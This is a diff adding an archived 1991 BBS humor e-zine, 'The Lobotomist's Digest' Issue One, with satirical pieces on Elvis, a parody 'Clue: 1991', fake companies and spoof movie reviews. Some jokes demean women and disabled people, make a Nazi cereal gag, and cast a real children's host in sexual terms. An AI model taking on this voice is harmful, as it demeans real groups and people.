ÛÛºÛÛºÛ»ÛÛºÛÛÛÛÛÛÛºÛÛÛÛÛÛɼÛÛÛÛ Û»ÈÍÍÍÍÛÛºÛÛºÛÛºÛÛÉÍͼÛÛºÛÛºÛÛ Û»ÛÛºÛÛÉÍÍÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍͼÛÛÛÛÛÛÛº ÈÛÛÛÛÛÛɼÛÛºÛÛºÈÛÛÛÉÛÛÛɼÛÛºÛÛº ÛÛºÛÛºÛÛÛÛÛÛÛ»ÈÍÍÍÍÍͼÈÍÍÍÍͼÈͼ ÈͼÈÍͼÈÍͼÈͼÈͼÈͼÈͼÈÍÍÍÍÍͼ ÛÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ» Specializing in DOORS and UTILITIES!ÛÛÉ ÍÍÛÛ»ÛÛÉÍÍÛÛ»ÛÛÉÍÍÍͼÛOur Doors ÛareÛinformational,ÛÛ ÛÛÛÛɼÛÛÛÛÛÛɼÛÛÛÛÛÛÛeducational, or  just for fun. SoÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ»ÈÍÍÍÍÛÛ comeÛbyÛand relax ÛatÛaÛplace ÛÛÛÛÛÛɼÛÛÛÛÛÛɼÛÛÛÛÛÛÛºwhere Ûour DOORSÛareÛalways open! ÈÍÍÍÍͼÈÍÍÍÍͼÈÍÍÍÍÍͼ \ No newline at end of file diff --git a/textfiles.com/magazines/ONESHOTS/issue1.dta b/textfiles.com/magazines/ONESHOTS/issue1.dta new file mode 100644 index 00000000..7d2da57d --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/issue1.dta @@ -0,0 +1,864 @@ +Introduction.00200 +Elvis Lives!.02617 +Clue: 1991.05707 +POP: 101.09687 +Other Companies.16126 +Video Reviews.22658 +Cereals Today.27265 +God Reviews.31534 +Tens.34540 +Ending Comments.37901 +### + + T h e L o b o t o m i s t ' s D i g e s t + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + I s s u e O n e + + "Factual inconsistancies are in the shrunken + mind of the reader." + + - Paragon Dude + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + INTRODUCTION + + From the Bloody Scrawls of Lord Shadowkeeper + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Well, folks, welcome to the Lobotomist's Digest, another fine +publication from the twisted minds of several madmen. Humorists, +satirists, notorious pirates, and all-around fun-loving maniacs. + + That's right. If you haven't guessed it already, this isn't +your standard underground pirate magazine. The Digest doesn't have +features on "Piracy in Mozambique". We do not have articles on "How +We Can Totally Annihilate the 24oo User". No hack/phreak/anarchy +stuff on the lines of "How to Make an Explosive Using Aluminum Foil, +Toothpaste, Common Kitchen Utensils, and Spam". No game reviews. + + And of course, no ANSI pics, VGA loaders, or ads for the member +boards inside the magazine. We see enough of them already taking up +25% of the space inside the games we download. + + Sorry 'bout that. There's enough of that stuff out there in the +current pirate magazines. + + The purpose of this magazine is to provide you with a few +laughs, not just upload credit to feed that insatiable of all +beasts - the file ratio. It's great compiling together a magazine, +but unless people take time to read it full, it doesn't serve its +purpose. It's like being stuck in a room with a nymphomaniac. +Having her desiring you madly is only half the fun. + + Well, that's enough. The Head Writer would have liked to have +said a few words, but unfortunately I haven't the foggiest idea where +the hell he is. Knowing Paragon Dude, he's going over a hundred +miles an hour down a suburban side street, half a gram of coke up his +nose, and a cheerleader pulling off her tube top in the next seat. + + (Sigh) (Grumble) More from me later. Just read the issue. + + - œ + + Publisher + (Head Executioner) + +### + + ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³Elvis Lives!³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ + + With all the incredible events over in the Soviet Union in the +last few days, I'm sure you probably figured out that I'd been glued +to my TV set watching the news. Well, you're wrong. My *sister* was +glued to the television set, and probably will stay that way for +quite awhile now that I've thrown out the bottle of SuperGlue +Remover. + + In any case, I managed to catch bits and pieces of the news +through the various areas of the TV which my sister wasn't covering, +and lemme tell you, this is heavy stuff. The dismantling of the +hardliner regime. The destruction of many statues representing +various Evil Russians Leaders (tm). The accidental release of 65,000 +Self-Winding Walk'n'Talk Yeltsin Dolls. All major events which will +probably affect the people's views of the toy industry for years to +come. What's next? Some say China. Some say Cuba. Some say +Hasbro. We'll have to wait and see. + + There are a number of other things I managed to catch on +television. For instance, recently shown on a local PBS (motto: +"*Someone* has to be this boring.") channel was an inspirational +special on Nixon which I didn't watch. I hope someone taped it. +With packing tape. But right after it was a special on Elvis, which +I had turned on in one of my more masochistic moments. And that's +when it hit me. + + Like some sort of incredible spiritual revelation, the type of +thing a certain friend of mine gets whenever we eat out with some +friends and the check comes and he suddenly gets this sudden +realization that, wow, he has no money, but anyway, I realized... +that... Elvis... (whaddya mean, what's the deal with these ellipses? +How else do I build up tension???) looks... just... like... Vanilla +Ice!!! + + Good Lord. + + Just to prove it to yourself, look at pictures of them side-by +side. Don't they look incredible alike? The hair style, the face, +the build, the IQ... we're talking carbon copies here! They even +have the same following, a 100:0 girl:guy fan ratio. I don't like +either one. None of my friends like either one. Nobody but every +whining pre-teen Barbie-toting female in America like[d] them. + + But that's just the thing. I'll bet, that after all these +years, after all 240,934,976 National Enquirer articles about Elvis +and how some woman in a backwards Kansas town claims to have had +carried his child, that he didn't really die. He escaped to some +small Mexican town where the latest music they had was 4/5ths of a LP +of Frank Sinatra singing "I Love New York" with the remaining 1/5th +piece missing filled in with a few layers of hardened tortillas. +Played on a styrofoam cup with a pine needle stuck in the bottom of +it. So he eventually got so fed up he came back to assault the world +yet again, but on a different tack-- rap music. And again, only +girls liked him. + + Excuse me... the tape fell off my sister's mouth. + +### + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ PARKER BROTHER'S PRESENT: ³ + ³ ³ + ³ C L U E : 1 9 9 1 ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Remember Clue? + + Sure you do! That's right! Clue! The old boardgame where +you play the high-and-mighty detective and try to solve the +gruesome murder of some idiotic, naive millionaire who died in his +home. You play on a cheap cardboard board resembling the layout +of Mr. Victim's mansion and using playing cards, fuzzy die, and +your lowly wits you try to deduct who was the murderer, the +motive, and the time of the death. + + There are about six or seven different suspects. All of +whom have really silly names. From Professor Plum to Miss +Scarlet; Colonel Mustard to Mr. Greene. Real original. And +included in a plastic bag that is almost impossible to open - +about five different primitive weapons from a revolver to the +silliest weapon of them all - the candlestick. + + So much for that. + + Realizing that we should have done this earlier, we, at +Parker Brother's have decided to bring your favorite murder +boardgame into the '90s by introducing you to "Clue: 1991". A +game that we deem to be a hit among both old and young alike who +are tired of playing the same tiring scenarios again and again +and are bored as hell playing our VCR version. + + Among our new and exciting modifications in Clue: 1991 are: + + New Rooms! The mansion has been completely remodeled for +the 1990s, folks. Long gone are library, the ballroom, and the +lounge! The gym, the pool/spa, and the den come to our new +version. The mansion is now filled with modern, psychedelic +decor and shaped like an octogon! + + New Weapons! Now you and your friends can include the +modern world of murder and assassination into the mystery with +the addition of the Uzi submachinegun, the switchblade, the 9mm +Parabellum, and assorted ninja weapons! + + New Characters! Tired of Mrs. Peacock? Well, we've decided +to add a few new characters to increase the suspense and liven up +the plot a little! Joining the already marvelous cast of +characters are: Mr. Von Hammer, the bodybuilder from Austria; +Senator Stuart, the adulterous bribe-taking U.S. Senator; Miss +Jones, the sulterous, power-hungry model; Mr. Steele, a tough ex- +cop and kung-fu master; and Mr. Rogers, a sadomasochistic kid- +show host. + + And... + + New Plots! Now, you can agonize for hours to piece together +some of the most intricate plots known to murder mysteries! No +more easy plotlines that even an idiot can spew out: "Colonel +Mustard killed Mr. Greene in the ballroom at 6:00 with the lead +pipe." No more confining the game to the death of Mr. Victim - +another character can kill another one during the course of the +investigation! + + With this in mind, now you can strain your brains with these +beauties! + + Miss Jones murdered Mr. Steele, after he discovered her +hidden past in prostitution and X-Rated films and then a latter +attempt to blackmail her for sex. At 8:00 Greenwich Mean Time, +Miss Jones approached Steele in the Pool/Spa room seductively +wearing only a transparent slip. Throwing Steele off guard, +Jones then threw her vibrator into the jacuzzi, frying him on the +spot. + + or + + Mr. Rogers killed Mr. von Hammer by filling his body with +his bullets from his Uzi in the Gym while lifting weights at 9:00 +Central Mountain Time. The reasoning was simple: Roger's kid +show was going to be canceled by the network brass and replaced +by "Pump Me Up, Hans!" - Von Hammer's exercise show. + + That's right, kids! With a game like that, prepare +yourselves for hours of excitement, intrigue, and passion with +the new Clue: 1991! Coming this fall to a store near you! + +### + +TRANSCRIPT OF P.O.P. 101 + +[begin transcript] + +Good morning, class. Welcome to Pissing Off People 101. Since this is +our first class we'll just go over the general plan of the year and, if +we have time, get to dislike each other. + +First off, you must remember one thing above all else: your primary +objective, no matter what else occurs in your life, is to annoy the hell +out of people. I know that sounds a bit drastic, but understand that +we exist for this purpose. Those of you who look surprised will soon +realize I am right. Don't argue yet, the time for that will come after +this quarter's final. No questions either. + +Our basic plan this year is outlined on the handout you just received. +Please fill out the top with your worst enemy's name just to help +yourself get psyched. Put yesterday's date, it will confuse me and +start you on what will be a productive year. You also might want to +mark all your assignments, especially from other teachers, with the +wrong date. Remember I am not responsible. + +Above all, if anyone asks about this class, simply tell them "Fuck +off!" or "Shut up, dick!". Don't give a pansy "Well, gee, golly..." +response, for it only provokes either hatred or sympathy, both which +will make annoying people much, much more difficult. Hatred will +cause the person to simply ignore your attempts, which means that +to lure them back, using despicable means such as kindness, to the +point that they seriously pay attention to you to piss you off. + +Sometimes hatred can be used in useful ways; we will be discussing +that later in the year. Sympathy causes the victim to simply shrug +off your attempts, and you will have to resort to insulting, or even +violence, to get their attention. Those topics aren't going to be +discussed this year, but will be discussed in AP P.O.P. for those of +you who wish to continue this line of education. Kindness will only +briefly be touched on seeing as how it violates school policy +somewhat. + +"Fuck off!" and "Shut up, dick!" are obviously only replies you +should resort to in desperation, for they are relatively weak and do +not do their job well. One of the first topics we will cover is +creating and memorizing such replies. Again, for those of you +continuing to AP, we will practice improvising such replies. + +We will touch on many forms of annoyance. Among the easiest is +what is known as "The Wimp Syndrome", which, although generally +pooh-poohed as weak and unproductive, can still have quite an +effect on your victim. Other useful techniques such as "The Damn +Bitch Maneuver" and obscure techniques such as "The DBQ" and +"Geraldo's Folly" will be covered. + +OK, class, that's the bell. Sit down. We're going to wait an +extra 30 seconds just to annoy the hall monitors and your next +period's teacher, and above all YOU. Does anyone have a free +period next? John? Anyone else? OK, John, you may leave first. +The rest of you will have to wait. Now that John has left, here's +the first homework assignment, which I don't want anyone to tell +him. I want you to write a 15-page essay on the last time someone +pissed you off. Got it? Good. See everyone next time! + + ÄÄÄÄÄÄÄÄÄÄ + +TRANSCRIPT OF P.O.P. 101 D +WEEK 2 + +Hello class. I hope everyone had a just marvelously terrible week. +I'm sure many of you did, but I don't want to hear anything about it, +because I already know about it. We here in the Humanities +Department worked very hard to make each and every one of you have a +terrible week. This school works harder for you than you realize. + +Now, since all of you missed last week... what? Yes, you did! Don't +you dare try to tell me I told you there wasn't a class, because you +know damn well this is Pissing Off People 101 and there's few things +more annoying to a student than missing a class because he or she +thought there wasn't a class. You should've been expecting me to do +that. It merely shows you are a bunch of brainless, inexperienced +POP-ers. Shut up. + +As I was saying before I was so rudely interrupted (which I must +commend you on, the interruption technique can be a very delicate +operation in POP culture), since all of you missed last week, the +homework that was due then will now be worth only half credit. Who +did it? Jamie? You didn't do it? Good, good, that's a good way to +get a teacher annoyed at you. I'm going to give you an 'A' just to +piss off your classmates. Now, for the rest of you, I want you to +either make your papers into paper airplanes, to throw around at your +next class (Johnny, since you have off next period, why not do it +now?) or else shred them up and strew them all over the front lawn, +just to annoy the custodians. Oh yes, who told Johnny about the +homework? I told you not to! Damn this class is good. + +Who came unprepared? Sammy? Johnny? Carol? Good. The rest of you +must give your pens or pencils to those three, so you can't take +notes. Yes, Suzy, you may use your lipstick to take notes, but not +on your paper; I want you to write it on Anna's textbook. Yes. + +First off we will discuss the Wimp Syndrome, a easily-learned and +relatively effective way to annoy people. Yes, Luke, the DBQ *is* +related to this. However, you must realize, teachers love it when +students bring up outside knowledge, so I'm going to give you an 'F' +for style. You should know better than that. + +The Wimp Syndrome, which is also known as the Asshole Method, and the +Chamberlain Movement, has often been confused with various yuppie and +nerd afflictions. The Wimp Syndrome, which, as Luke was stupid +enough to point out, is the background for the DBQ, can be +characterized by an unerringly constant "run" method, wherein the +subject taunts "jocks", "bullies", and other lower forms of POP-ers, +by trying to show off their knowledge. You may consider this the +essence of the Nerd Group, but it has little similarity. Who's +taking Dr. Mindfritz's nerd-busting course? Good, I want you three +to each write a 20-minute oral report on the similarities and +differences. And don't expect to get any help from me, I've got off +this week and am flying down to Hawaii. I'll send you all postcards, +and next week when we come back I'm gonna show you 2500 slides. Even +if I have to repeat some of them. + +So see you next week, class! + +### + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³COMPANIES YOU PROBABLY NEVER HEARD OF³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +R.S.L. Corporation +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Started in the early 1500's (B.C.), the Random Street Lunatic +Corporation was initially started to meet the needs of crime-fighting +forces throughout the world. Although an internationally acclaimed +company, and the second-longest-lasting corporation in the history of +business itself, it has only recently received public attention. + + Its services are not open for public or private usage, and in fact +it is employed solely by the various governments of the world, in +order to make sure that their respective police forces always have +something to do to earn their wages. Few countries, in fact, do not +use its services; among these few are Iceland, which instead hires the +Polar Bear Wanderer's Club, and Luxembourg, whose police force +consists entirely of two old men in their late 70s who don't want to +waste time running around arresting RSL members. They are, in fact, +former RSL employees. + + Jobs are always available, but on a volunteer basis only. Wages +are earned by the number of people you harass; double if they are in +a hurry, triple if it's in New York City. "If someone tries to give +you money, take it and spit in their face," is the first line from +their manual. + +I.S.E., Inc. +ÄÄÄÄÄÄÄÄÄÄÄÄ + + Started unofficially sometime in the late 70s or so, the I.S.E. or +"I Seen Elvis" non-profit organization has already encompassed a work +force of nearly 27 people. Despite repeated bombing threats from +Jerry Lee Lewis and B. B. King, the company with the motto "Honk if +you seen him too" continues to survive and even thrive. What they +actually DO for a living, and where they get their money from, is +unknown. They have all, however, "seen the King." + +Cab Drivers Anonymous +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + A non-profit organization with the sole intent of curing chronic +cab drivers afflicted with NYCSS (pronounced in medical lingo, +"bleah"), the New York City Speeding Syndrome. Cabbies afflicted with +this disease have been known to drive at speeds upwards of 2500 mph, +even around corners, and the worst cases have actually achieved lift- +off. + + A severe impediment as a side-effect of the disease causes the +drivers to completely forget the shortest route to their rider's +destination, and to occasionally take "scenic routes" five or six +hundred miles out of the way. + + Branches are planned to open in Chicago, Miami, Los Angeles, San +Francisco, Dallas, Philadelphia, Denver, and Champagne, IL, as cases +of NYCSS have been appearing all over the country. (The fact that a +case appeared in Champagne, IL, is surprising; it had been formerly +thought that NYCSS was caused in part by the stress and demand that +large populations created on taxi companies. Champagne has only 13 +people living in it, and the mayor doubles as the cabbie. You can see +what sort of problems might arise if you had a raving lunatic for +mayor... Oh, wait, New Yorkers already do). + +Andromeda Insurance Company +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Only recently uncovered in the massive BCCI ("Bucci") scandal was +a small but incredibly profitable insurance company whose major +stockholders are unknown. The only traces of their current addresses +within the AIC files are cryptic numbers and names which seem to +roughly correspond to the astronomical cataloging ID numbers for +nearby (i.e. within 5000 light-years) galaxies. + + They also, apparently, paid the U.S. State Department and The +National Enquirer a heck of a lot of money to not publicize a short- +lived venture into the growing biochemistry industry, wherein they +purchased a small cloning firm and accidentally created and set loose +45 million identical door-to-door insurance salesmen. Industry +experts speculate that this catastrophe was reminiscent of other +possibly preventable accidents, such as those of Exxon, Union Carbide, +and Richard Nixon. + +The Marcos Shoe C/R Union +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Although the extent of its activities has been reduced to a yearly +reunion and an occasional crash party at a leather factory, the Marcos +Shoe Creation/Repair Union was, at its heyday, the largest and most +powerful shoe union world-wide. + + Its power stemmed mainly from the 27,690 shoe makers and repairers +which were its members. All but 12 of them were housed in a huge +complex on a previously undiscovered tropical island 128 miles +northwest of the Philippines; of the remaining few, four were Imelda +Marcos' personal shoe slaves and lived with her, three were in hiding +due to international warrants issued by the United States for +violating the Shoelace/Acorn Exportation/Immigration Treaty of 1845, +one disappeared one night with the daughter of a wealthy leather +salesman, and the remaining four lived on fat pensions in a cozy +little town smack-dab in the middle of Inner Mongolia. + + A subdivision of the Marcos Union Affiliate, which included the +Marcos Endangered Frog Union, the Marcos Cheap Suit Salesmen Union, +and Planned Parenthood, was disbanded in the 1980s due to, according +to the former executive director, a "world-wide shortage... of +leather, alligator skins, and those little pink pom-poms you put on +those rabbit-shaped slippers, you know?" + +Richard Nixon Fan Club +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Although Richard Nixon is no longer the President of the United +States, nor even worthy of political cartoons, the Richard Nixon Fan +Club somehow manages to survive, which is made even more incredible by +the fact that, per se, there are no employees whatsoever. Mysterious +pamphlets with no return address in the mail arrive daily at the Nixon +residence with postmarks from across the nation, yet, when last +checked, the only current occupants of the RNFC main headquarters are +a 18-year-old bottle of Lysol, a half-eaten Hershey's bar wrapped in a +pro-Nixon advertisement, ashes of what appears to have been the +original manuscript for "The Pentagon Papers", and a dusty voodoo doll +of Mao Tse Dung. + + Where it gets its money, etc., is entirely unknown. (A smaller +branch of this club, the Spiro Agnew/Dan Quayle For President Club, +filed Chapter 11 twice in one day with the Champagne, IL, branch of +the U.S. Treasury Department at the end of the 1990 fiscal year). + +### + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Video Reviews ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Sure, you've seen them. "The New York Times's Guide to Video", +"Leonard Maltin's Video Picks", or "Charles Manson's Guide to the +Best Murder Flicks on Video." The newspapers and magazines are +flooded with them. + + Video guides. + + They occupy a small little column on the side of the critic's +latest nightmarish review for the latest Van Damme flick, and give a +little summary of the movie as well as a rating from "Poor" to +"Megalithic Cinemagraphic Work of Art Waiting to Be Worshipped By +Generations to Come". + + They're great, aren't they? Well, in the spirit of People +Magazine, USA Today, and "Muscles Galore" magazine, we at The +Lobotomist's Digest present our six favorite video classics just to +create some filler space for this issue. Just our version of the +game reviews in a regular pirate magazine... + + + The Lobotomist's Digest's Film Picks of the Month + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +Cop of Fortune (1990) - Before making "Stone Cold", Paramount studio +producers created this action-adventure starring Michael Jackson as, +you guessed it, an ex-football player turned cop. In this thriller, +one of Jackson's midget friends is gunned down by a Mafia hitman, and +when the Gloved One is pulled off the case by the chief of police +(singer Mick Jagger), he turns in his badge and decides to avenge his +friend's death above all costs. + +Even if it means going through a hundred and twenty minutes of high- +speed, expensive sportscar chases through the streets of Paris, +chasing foreign spies through Nebraskan corn fields with a machete, +shootouts with guerillas in El Salvador, crusing down treacherous +Alpine passes on one ski, and numerous liaisons with beautiful, sexy +women. Jackson does it all. + +A monumental performances by Steven Segal as the Mafia hitman who +loves guns so much, he kills people who try to pass him on the +highway. + + +The Terror of Tiny Town (1982) - Another all-dwarf and midget movie +along the lines of Commando and the Nightmare on Elm Street series. +A must see. Stars the late David Rappaport of "Willow" fame. + + +Santa Claus Conquers the Surf Nazis (1987) - The Surf Nazi's are back +on the shores of California, aiming to spread the word of the Fuhrer +to the people of San Vilatin above all costs. Their evil plot is +foiled when two children, Billy and Betty, manage to get word to +Santa Claus by sending him a letter asking for their freedom for +Christmas. + +Old Saint Nick gets a hold of the letter right before the Surf Nazi's +begin to brainwash the entire town with their hypnotic surfboards, +and immediately sets off in his slay with his trustworthy elf Hans +(Arnold Schwartzenegger) to liberate the town with their "gifts" of +hi-tech automatic weapons, grenades, and explosives. + + +Norman to Norma (1989) - This unfairly X-Rated film features Paul +Reubens (Pee-Wee Herman) as a confused homosexual who opts for a sex- +change operation. The result being Traci Lords. There's something +in this movie for everyone. + + +Trapped! (1989) - Six women are trapped in a New York skyscraper +when a sadistic serial killer rampages throughout the building for no +apparent reason. An originality prize to the producers! + +The action begins in the first fifteen minutes of the movie while the +girls are modeling the new "summer line" of Victoria's Secret +lingerie for each other when the killer suddenly appears with his +bloody axe, offering to give them a head start before he begins his +"night of macabre massacre". Seconds later, girls wearing only +slinky nighties are brandishing M-16s from nowhere and spraying +gunfire. + +Academy award nominations to the plaid-shirted killer/geek, played by +Jim Nabors ("Gomer Pyle") who manges to survive being stabbed +repeatedly in the neck with a nail file, strangled, hit on the head +with a hammer, pushed off a twenty-story building, and gunned down +sixty-eight times. + + +Invaders from Mars! (1990) - The best in Sci-Fi! This monumental +film work features robot invaders dressed in cheap gorilla costumes +and motorcycle helmets. Landing in Kalamazoo, Michigan, the monsters +are out in search of their idols - Dan Quayle and Richard Nixon - to +worship them as gods. + +Stars Boy George and Gary Coleman in their best work yet as two Idaho +potato farmers that are brainwashed by the invaders. + + *-*-*-*-*-*-* + +### + + ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» + º Cereal In America Today º + ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + Today's topic, boys and girls, is America. I chose this +mainly because, earlier this month, a friend of mine gave me the +opportunity to not see the movie Robin Hood. I must say that I +thoroughly enjoyed not seeing it and I had a great time. + + The main reason I didn't want to see it was that, about twelve +commercials (a new unit of time I suspect the network channels are +trying to put into general usage) after I first saw the commercial +for the movie, I saw a commercial for the cereal. As most of you +probably didn't know, I am a great anti-cereal activist, and this +was simply another sign that America was going to pot, er, bowl, +because of the Cereal Revolution. + + Originally I was one of the greatest pro-cereal proponents, +right up there with whoever was currently pictured on the Wheaties +box. (Mary Lou Retton, Bruce Jenner, Spiro Agnew, etc). I even +drew pictures of myself standing next to Snap, Crackle, and Pop +and framed them. I knew Tony The Tiger personally. I set the +alarm clock for the Kellogg's Rooster. I was a cereal junkie. + + Then they came out Count Chocula. I knew things had turned +sour right from then, despite the incredible sugar content of the +stuff. It tasted like bleached chocolate. The whole concept was +vile, right up there with Eve and the Snake, the Czar and +Rasputin, the Roadrunner and the Coyote. + + I mean, who would imagine that a stupid-looking (on par with a +rotted pumpkin), brown-colored Dracula, would even catch the eyes +and tongues of America? Maybe it was destiny. Maybe the aliens +who make the stuff had developed some sort of mind-control device +to go with it. ("Buy Count Chocula... Eat Count Chocula... Buy +more Count Chocula... Listen to the New Kids On The Block...", +etc.) Whatever it was, it didn't work on me. I was a rural health +nut who held on for dear life to my Product 19. + + Then came The Cereal Revolution, known to us on the outside as +the Sugar Flood. We had Froot Loops, a mutant cereal which was +probably originally manufactured by Korea, judging by the +spelling. (Nowadays it is congealed in large vats just outside of +Tokyo. Go figure.) We had Lucky Charms, which was made entirely +out of axle grease discarded by the Army, which they make new +recruits cut out with miniature cookie cutters and paint with a +sugar/paint substance developed by Union Carbide. We had Captain +Crunch and all his sequels. We even had some hybrids, like Kix +and Frosted Mini-Wheats. Even Grape-Nuts and Total couldn't +combat this invasion. + + What really got me was the toy craze. Whenever a kiddie's toy +reached the Critical Sales Mass (currently set at 6 million toy +figures and/or "optional accessories") they came out with a cereal +for it. Rarely did any of them last. I remember seeing a Care +Bears cereal. One for Cabbage Patch Dolls. (Remember them? You +do? Why?) One for G.I. Joe, the Gobots, Rainbow Brite, Batman, +Captain America, Barbie (What about Ken? Isn't that female +chauvinism?) ...and, of course, finally, for Robin Hood. Now that +I think about it, they must've paid the FDA a lot to get past the +Critical Sales Mass. I didn't even hear about the figures until +weeks after the cereal came out. + + I'm surprised they've stopped there, though. There are so +many other popular topics out there in society which Kellogg's +could make cereal from. I can see it now: "Aryan Crunchies! +White (only) corn flakes with little blue-eyed (only) +marshmallows! Part of your healthy skinhead's breakfast! Heil +Hitler!" Or: "Hi-Loopz! Contains no sugar, no preservatives, no +sodium ... in fact, nothing at all but a tasty blend of heroin, +LSD, and cocaine! Have some Hi-Loopz today and just watch your +problems disappear!" What about topics like suicide, pollution, +and abortion? "Gun'n'Rope! It's a killer! Delicious to the +end!"? "Yummy Yuk! A piece of the Hudson River in your bowl! Be +a mutant today!" "Fetus Flakes! Express YOUR choice to eat it!"? + + I don't know. I don't care. I want my Special K. + +### + ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» + º God Reviews! º + ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + I figured it would be rather arrogant, stuck-up, and priggish to +call this particular column "A Day In The Life Of Paragon Dude", so I +decided to think up a less annoying, more upbeat, and probably more +truthful title: "God Reviews The Past Week Of Planet Earth." + + I was a bit busy this past week, as usual, dividing my time +between a number of important things: searching for new Digest topics, +sleeping, eating, looking for more topics, eating, watching TV, +sleeping, eating, and frying small repulsive insects with boiling +peanut butter. Amidst these important proceedings I stumbled onto a +few noteworthy things which I felt should be shared with the rest of +the world. + + Phosphorous, for instance. This is an interesting goo which I +always thought made things glow, like squished fireflies, and which +had just sort of hung around awhile until man found a use for it, kind +of like Dan Quayle is doing with the government. Except that +phosphorous probably writes better speeches. + + In any case, I was doing some casual research on phosphorous +(determining what happens when you mix it with shampoo then turn off +the bathroom lights while your sister is taking a shower, etc.) when I +came across an interesting fact: phosphorous was actually discovered +in 1669 by Elvis in a former life, a dude by the name of Hennig Brand, +who was a good friend of Ed McMahon, who was up to his in +unmailed sweepstakes entries because there was no postal system back +then. + + Anyway, the book I found this in also said that he discovered it +accidentally while doing experiments with urine, but that he didn't +tell anyone. They don't give a reason *why* he didn't tell anyone, +but I have a hunch. He had probably spent the previous five or six +hours downing a few kegs of beer (keep in mind he was German) testing +the new Hangover-Away he had developed, and just got so totally wasted +that he forgot what it was and peed in it. Heaven only knows what he +did when he saw it glowing. No wonder he kept things quiet. I can +see it... headlines of Da Knashoniel Heinekin reading: "Scientists +Creates Mysterious Glowing Liquid From Beer - Cures Cancer, Acne, +Death"... + + Flipping through this very same book, I discovered that it turns +out that Benjamin Franklin was the world's first electricity addict. +In 1749, for instance, he put up a lightning rod on his house so that +whenever there was a thunderstorm he could get a good dose. +Philadelphian lightning, I hear, is purer and more effective than that +from elsewhere. In any case, he must've invited a bunch of his +friends over (for a game of Zap, the forerunner of Zonk) and soon (by +1760) was installing lightning rods all over the city. + + Besides that, I heard a rumor that Quayle finally got a job. Can +anyone confirm this? + + +### + ÚÄÄÄÄÄÄ¿ + ³ Tens ³ + ÀÄÄÄÄÄÄÙ + + Men don't want "tens" anymore. They want women to be "nines." +There was a big article about it in Psychology This Week, where they +interviewed all these guys who talked about how the Bo Derek standard +was out. I didn't quite understand what they were saying, since I +thought a "ten" was whatever you personally thought was bodacious, +but I think the reasoning goes like this: + + "Tens" are too perfect. They look like mannequins in a +department store. If you want a man's insides to go all gooey, show +him a woman with a crooked nose, or fingers that are too long for the +rest of her body, or something like that--and they'll go "Wow! She's +ALMOST beautiful!" + + It's like a medium-rare steak. "This is GREAT! It's ALMOST +cooked!" + + But I don't think the article went far enough. If a Nine is +better than a Ten, why isn't an Eight better than a Nine? Think of +the advantages for the nineties woman: + + "Ten": Obviously out. That's why nobody went to Bo Derek's last + movie. + + "Nine": Sexier than a ten, because she has a little flaw, like + thin eyebrows. + + "Eight": Sexier than a nine, because she's actually cross-eyed + and pigeon-toed, making it obvious that she could never + be a ten, and therefore making her an attainable Dream + Woman. + + "Seven": Better than an eight, because she has a knife scar on + her left cheek for that "Let's party" look. + + "Six": Better than a seven, because she's good-looking, but she + has body tattoos all over her back, some of them in the + shape of extinct reptiles. When she has her clothes on, + nobody knows how hideous she is. When she has her + clothes off, WHO CARES? + + "Five": One leg shorter than the other, bunions, and a hiney the + size of Saudi Arabia. This woman could walk down Fifth + Avenue buck naked in the daytime, and the Turkish cab + drivers wouldn't even notice her. She can be yours + forever. + + "Four": Now we're getting into the real Dream Women. A four has + buck teeth, a bowl haircut, and a body like the + Tasmanian Devil. Moss grows on her teeth. Dogs take + four-block detours to avoid her. This woman will not + only notice you, she'll be GRATEFUL to you. + + "Three": This woman has two extra fingers on her left hand, a + mustache, and weighs 230 pounds. She knows how to belch + the themes of popular show tunes. + + "Two": Men in the nineties will be drooling over this goddess, + who was born with six arms and a tail. She can make your + dinner, give you a massage, and clean the wax out of her + ears all at the same time. And to think, in the + eighties, she would have been considered freaky. + + "One": Finally, the woman all sensitive nineties men are + dreaming about. Her name is Roseanne Barr. + + I WANT that woman. + + Written by... + Joe Bob Briggs + + +### + ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³T h e E n d³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ 